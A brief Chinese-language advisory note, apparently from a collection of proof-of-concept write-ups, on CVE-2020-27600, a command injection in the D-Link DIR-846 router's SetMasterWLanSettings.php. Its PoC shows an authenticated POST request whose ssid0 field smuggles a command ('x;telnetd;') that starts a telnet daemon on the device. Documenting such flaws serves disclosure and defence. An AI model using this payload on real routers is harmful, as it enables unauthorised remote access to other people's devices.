D-Link DIR-846路由器命令注入 (CVE-2020-27600).md

500 B / 2021-05-21 09:14:38

    # D-Link DIR-846路由器 命令注入 (CVE-2020-27600)

D-Link DIR-846 A1_100.26 路由器中的HNAP1/control/SetMasterWLanSettings.php允许远程攻击者通过ssid0或ssid1参数进行执行任意命令。

PoC:

需要登录Web控制台，然后访问/Wireless.html无线设置页面。


```bash
POST  /HNAPI HTTP/1.1
...
$data["ssid0"]="'x;telnetd;'"
```

ref:

* https://nvd.nist.gov/vuln/detail/CVE-2020-27600
* https://github.com/pwnninja/dlink/blob/main/DIR-846_SetMasterWLanSettingsCI.md